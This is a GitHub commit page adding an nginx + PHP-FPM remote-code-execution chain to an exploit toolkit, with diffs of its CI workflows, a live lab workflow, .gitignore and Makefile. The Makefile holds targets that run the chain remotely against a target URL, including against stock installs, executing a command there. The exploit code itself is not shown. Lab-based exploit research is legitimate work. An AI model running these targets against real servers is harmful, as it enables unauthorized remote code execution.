Skip to content

Commit dff9f1e

Browse files
authored
Add the nginx + PHP-FPM exploitation chain
Adds the nginx + PHP-FPM chain, FPM laboratories, profiles, tests and documentation. Includes maintainer fixes: remote authorization gate, --dry-run, verification provenance, CI hardening and profile schema validation. Co-authored-by: AncientEncoder <VABISMO@users.noreply.github.com>
1 parent c749727 commit dff9f1e

58 files changed

Lines changed: 8667 additions & 228 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎.github/workflows/ci.yml‎

Lines changed: 62 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
name: ci
1+
name: CI
22

33
on:
44
push:
@@ -8,26 +8,81 @@ on:
88
permissions:
99
contents: read
1010

11+
concurrency:
12+
group: ci-${{ github.ref }}
13+
cancel-in-progress: true
14+
1115
jobs:
12-
tests:
16+
test:
17+
name: Python ${{ matrix.python-version }}
1318
runs-on: ubuntu-latest
1419
strategy:
20+
fail-fast: false
1521
matrix:
16-
python-version: ["3.11", "3.12"]
22+
python-version: ["3.11", "3.12", "3.13"]
1723
steps:
18-
- uses: actions/checkout@v4
19-
- uses: actions/setup-python@v5
24+
- name: Check out
25+
uses: actions/checkout@v4
26+
27+
- name: Set up Python
28+
uses: actions/setup-python@v5
2029
with:
2130
python-version: ${{ matrix.python-version }}
31+
cache: pip
32+
cache-dependency-path: requirements-dev.txt
33+
34+
- name: Install test dependencies
35+
run: python -m pip install --upgrade pip -r requirements-dev.txt
36+
37+
- name: Lint
38+
run: ruff check tools tests
39+
40+
- name: Compile Python
41+
run: python -m compileall -q tools tests
42+
43+
- name: Check shell syntax
44+
run: bash -n lab/fpm/build_php.sh lab/fpm/build_nginx.sh lab/fpm/build_all.sh
45+
2246
- name: Unit tests
2347
run: PYTHONDONTWRITEBYTECODE=1 python -m unittest discover -s tests -v
2448

49+
- name: Validate build profiles against schema
50+
run: |
51+
python - <<'PY'
52+
import json
53+
from pathlib import Path
54+
import jsonschema
55+
56+
schema = json.loads(Path("profiles/schema.json").read_text())
57+
for path in sorted(Path("profiles").glob("*.json")):
58+
if path.name in ("schema.json", "fpm-schema.json"):
59+
continue
60+
jsonschema.validate(json.loads(path.read_text()), schema)
61+
print(f"{path}: valid")
62+
PY
63+
64+
- name: Validate PHP-FPM profiles against the FPM schema
65+
run: |
66+
python - <<'PY'
67+
import json
68+
from pathlib import Path
69+
import jsonschema
70+
71+
schema = json.loads(Path("profiles/fpm-schema.json").read_text())
72+
for path in sorted(Path("profiles").glob("*-fpm.json")):
73+
jsonschema.validate(json.loads(path.read_text()), schema)
74+
print(f"{path}: valid")
75+
PY
76+
2577
secrets:
2678
runs-on: ubuntu-latest
2779
steps:
28-
- uses: actions/checkout@v4
80+
- name: Check out
81+
uses: actions/checkout@v4
2982
with:
3083
fetch-depth: 0
31-
- uses: gitleaks/gitleaks-action@v2
84+
85+
- name: Gitleaks
86+
uses: gitleaks/gitleaks-action@v2
3287
env:
3388
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

‎.github/workflows/live-fpm.yml‎

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
name: Live FPM lab
2+
3+
on:
4+
workflow_dispatch:
5+
6+
permissions:
7+
contents: read
8+
9+
jobs:
10+
live:
11+
name: Build and exploit PHP ${{ matrix.version }}
12+
runs-on: ubuntu-latest
13+
timeout-minutes: 90
14+
strategy:
15+
fail-fast: false
16+
matrix:
17+
version: ["8.4.25", "8.4.26"]
18+
steps:
19+
- name: Check out
20+
uses: actions/checkout@v4
21+
22+
- name: Set up Python
23+
uses: actions/setup-python@v5
24+
with:
25+
python-version: "3.12"
26+
27+
- name: Install build dependencies
28+
run: |
29+
sudo apt-get update
30+
sudo apt-get install -y build-essential curl tar libxml2-dev
31+
32+
- name: Build nginx
33+
run: lab/fpm/build_nginx.sh
34+
35+
- name: Build PHP ${{ matrix.version }}
36+
run: lab/fpm/build_php.sh ${{ matrix.version }}
37+
38+
- name: Start lab
39+
run: python3 tools/php2shell_fpm_labs.py up --only ${{ matrix.version }}
40+
41+
# the leak geometry is per environment (allocator + build paths), so
42+
# the runner derives its own before the tests instead of trusting the
43+
# shipped reference profile
44+
- name: Calibrate the leak geometry over HTTP
45+
run: |
46+
python3 - <<'EOF'
47+
import sys
48+
sys.path.insert(0, "tools")
49+
import php2shell_fpm_labs as labs
50+
import php2shell_fpm as fpm
51+
version = "${{ matrix.version }}"
52+
chain, builder, *_ = labs.builds_map([version])[version]
53+
sys.argv = ["calibrate", "--version", version,
54+
"--base", f"http://127.0.0.1:{chain}",
55+
"--builder", f"http://127.0.0.1:{builder}",
56+
"--proof-file", "out/ci-calib", "calibrate"]
57+
raise SystemExit(fpm.main())
58+
EOF
59+
60+
- name: Enable ptrace for the oracle test
61+
run: sudo sysctl -w kernel.yama.ptrace_scope=0
62+
63+
- name: Run live tests
64+
env:
65+
PHP2SHELL_FPM_LAB: "1"
66+
PHP2SHELL_FPM_VERSION: ${{ matrix.version }}
67+
run: python3 -m unittest tests.test_fpm.FpmLabIntegrationTests -v
68+
69+
- name: Stop lab
70+
if: always()
71+
run: python3 tools/php2shell_fpm_labs.py down

‎.gitignore‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,3 +4,6 @@ __pycache__/
44
vendor/
55
lab/wordpress/wp/
66
lab/rce/out/
7+
lab/fpm/runtime/
8+
lab/fpm/webroot/out/
9+
lab/fpm/webroot/b

‎Makefile‎

Lines changed: 117 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -1,40 +1,139 @@
1-
.PHONY: bootstrap test labs-up labs-down labs-status labs-test lint clean
1+
.PHONY: help test lint ruff secrets ci bootstrap inventory validate-profiles validate-fpm \
2+
build-nginx build-php build-all profile-draft calibrate-remote remote \
3+
probe-remote remote-default matrix \
4+
labs-up labs-down labs-status labs-test \
5+
labs-fpm-up labs-fpm-up-default labs-fpm-down labs-fpm-status labs-fpm-smoke \
6+
labs-fpm-ports labs-fpm-test \
7+
clean
28

3-
bootstrap: ## Fetch and pin the upstream exploit
4-
python3 tools/bootstrap_upstream.py
9+
help: ## Show this help
10+
@grep -E '^[a-zA-Z0-9_.-]+:.*##' $(MAKEFILE_LIST) | \
11+
awk 'BEGIN {FS = ":.*## "}; {printf " \033[36m%-20s\033[0m %s\n", $$1, $$2}'
512

613
test: ## Run the unit test suite
7-
python3 -m unittest discover -s tests -v
14+
PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -v
815

916
lint: ## Run gitleaks to detect leaked secrets
1017
gitleaks detect --source . --no-git --redact -v
1118

12-
labs-up: ## Start all local laboratories (ports 8100-8106)
13-
python3 tools/php2shell_labs.py up
19+
ruff: ## Run ruff on the Python tools and tests
20+
ruff check tools tests
1421

15-
labs-down: ## Stop all local laboratories
16-
python3 tools/php2shell_labs.py down
22+
secrets: lint ## Backwards-compatible alias for lint
1723

18-
labs-status: ## Show laboratory container status
19-
python3 tools/php2shell_labs.py status
24+
ci: ruff test validate-profiles validate-fpm ## Run the fast CI checks locally
2025

21-
labs-test: ## Run the dispatcher against each lab
22-
python3 tools/php2shell_labs.py test
26+
bootstrap: ## Fetch and pin the upstream exploit
27+
python3 tools/bootstrap_upstream.py
2328

2429
inventory: ## Print the profile and offset inventory
2530
python3 tools/php2shell_inventory.py
2631

27-
validate-profiles: ## Validate profiles (requires jsonschema)
32+
validate-profiles: ## Validate every build profile against the generic schema
2833
python3 -c "import json, jsonschema; \
2934
schema = json.load(open('profiles/schema.json')); \
3035
from pathlib import Path; \
3136
[jsonschema.validate(json.loads(p.read_text()), schema) or print(f' ok {p.name}') \
32-
for p in sorted(Path('profiles').glob('*.json')) if p.name != 'schema.json']"
37+
for p in sorted(Path('profiles').glob('*.json')) \
38+
if p.name not in ('schema.json', 'fpm-schema.json')]"
39+
40+
validate-fpm: ## Validate the PHP-FPM profiles against the FPM schema
41+
python3 -c "import glob, json, jsonschema; \
42+
s = json.load(open('profiles/fpm-schema.json')); \
43+
[jsonschema.validate(json.load(open(p)), s) or print(f' ok {p}') \
44+
for p in sorted(glob.glob('profiles/*-fpm.json'))]"
45+
46+
# --------------------------------------------------------------------------- #
47+
# PHP-FPM laboratory (nginx + PHP-FPM, user prefix, no Docker)
48+
# --------------------------------------------------------------------------- #
49+
50+
build-nginx: ## Build nginx into lab/fpm/runtime
51+
lab/fpm/build_nginx.sh
52+
53+
build-php: ## Build a PHP version into lab/fpm/runtime (VERSION=8.4.26)
54+
@test -n "$(VERSION)" || \
55+
(echo "usage: make build-php VERSION=8.4.26"; exit 2)
56+
lab/fpm/build_php.sh "$(VERSION)"
57+
58+
build-all: ## Build several PHP versions (VERSIONS="8.4.25 8.4.26")
59+
@test -n "$(VERSIONS)" || \
60+
(echo "usage: make build-all VERSIONS=\"8.4.25 8.4.26\""; exit 2)
61+
lab/fpm/build_all.sh $(VERSIONS)
62+
63+
profile-draft: ## Generate a draft FPM profile (PHP_FPM=... VERSION=...)
64+
@test -n "$(PHP_FPM)" -a -n "$(VERSION)" || \
65+
(echo "usage: make profile-draft PHP_FPM=/path/to/php-fpm VERSION=8.4.25"; exit 2)
66+
python3 tools/php2shell_fpm_profile.py --php-fpm "$(PHP_FPM)" --version "$(VERSION)"
67+
68+
calibrate-remote: ## Discover a profile over HTTP only (VERSION=... BASE=... BUILDER=...)
69+
@test -n "$(VERSION)" || \
70+
(echo "usage: make calibrate-remote VERSION=8.2.34 BASE=http://127.0.0.1:8406 BUILDER=http://127.0.0.1:8407"; exit 2)
71+
python3 tools/php2shell_fpm.py --version "$(VERSION)" \
72+
--base "$(BASE)" --builder "$(BUILDER)" --allow-remote calibrate
73+
74+
remote: ## Run the 100%-remote chain (VERSION=... BASE=... BUILDER=...)
75+
@test -n "$(VERSION)" || \
76+
(echo "usage: make remote VERSION=8.2.34 BASE=http://127.0.0.1:8406 BUILDER=http://127.0.0.1:8407"; exit 2)
77+
python3 tools/php2shell_fpm.py --version "$(VERSION)" \
78+
--base "$(BASE)" --builder "$(BUILDER)" --allow-remote \
79+
--command "id>out/remote-$(VERSION)" --proof-file "out/remote-$(VERSION)" \
80+
no-oracle
81+
82+
probe-remote: ## Checklist of every chain precondition (VERSION=... BASE=...)
83+
@test -n "$(VERSION)" -a -n "$(BASE)" || \
84+
(echo "usage: make probe-remote VERSION=8.4.26 BASE=http://target"; exit 2)
85+
python3 tools/php2shell_fpm.py --version "$(VERSION)" \
86+
--base "$(BASE)" --allow-remote probe
87+
88+
remote-default: ## 100%-remote chain against a stock install (VERSION=... BASE=...)
89+
@test -n "$(VERSION)" -a -n "$(BASE)" || \
90+
(echo "usage: make remote-default VERSION=8.4.26 BASE=http://target"; exit 2)
91+
python3 tools/php2shell_fpm.py --version "$(VERSION)" \
92+
--base "$(BASE)" --allow-remote \
93+
--command "id>out/remote-$(VERSION)" --proof-file "out/remote-$(VERSION)" \
94+
no-oracle
95+
96+
matrix: ## Verify the remote chain on every unpatched build
97+
python3 tools/php2shell_fpm_matrix.py
98+
99+
# --------------------------------------------------------------------------- #
100+
# Laboratories
101+
# --------------------------------------------------------------------------- #
102+
103+
labs-up: ## Start all local Docker laboratories (ports 8100-8106)
104+
python3 tools/php2shell_labs.py up
105+
106+
labs-down: ## Stop all local Docker laboratories
107+
python3 tools/php2shell_labs.py down
108+
109+
labs-status: ## Show Docker laboratory container status
110+
python3 tools/php2shell_labs.py status
111+
112+
labs-test: ## Run the dispatcher against each Docker lab
113+
python3 tools/php2shell_labs.py test
114+
115+
labs-fpm-up: ## Start the nginx + PHP-FPM laboratories (no Docker)
116+
python3 tools/php2shell_fpm_labs.py up
117+
118+
labs-fpm-up-default: ## Start the FPM lab in the stock-installation shape
119+
python3 tools/php2shell_fpm_labs.py up --mode default
120+
121+
labs-fpm-down: ## Stop the nginx + PHP-FPM laboratories
122+
python3 tools/php2shell_fpm_labs.py down
123+
124+
labs-fpm-status: ## Show FPM laboratory status
125+
python3 tools/php2shell_fpm_labs.py status
126+
127+
labs-fpm-smoke: ## Check the FPM lab endpoints
128+
python3 tools/php2shell_fpm_labs.py smoke
129+
130+
labs-fpm-ports: ## Print the FPM lab port map
131+
python3 tools/php2shell_fpm_labs.py ports
132+
133+
labs-fpm-test: ## Run primitive + endgame against the FPM lab
134+
python3 tools/php2shell_fpm_labs.py test
33135

34136
clean: ## Remove generated files and vendor checkout
35137
rm -rf vendor/php2shell-upstream
36138
rm -rf lab/rce/out/
37-
38-
help: ## Show this help
39-
@grep -E '^[a-zA-Z_-]+:.*##' $(MAKEFILE_LIST) | \
40-
awk 'BEGIN {FS = ":.*## "}; {printf " \033[36m%-20s\033[0m %s\n", $$1, $$2}'
139+
rm -rf lab/fpm/webroot/out/

0 commit comments

Comments
 (0)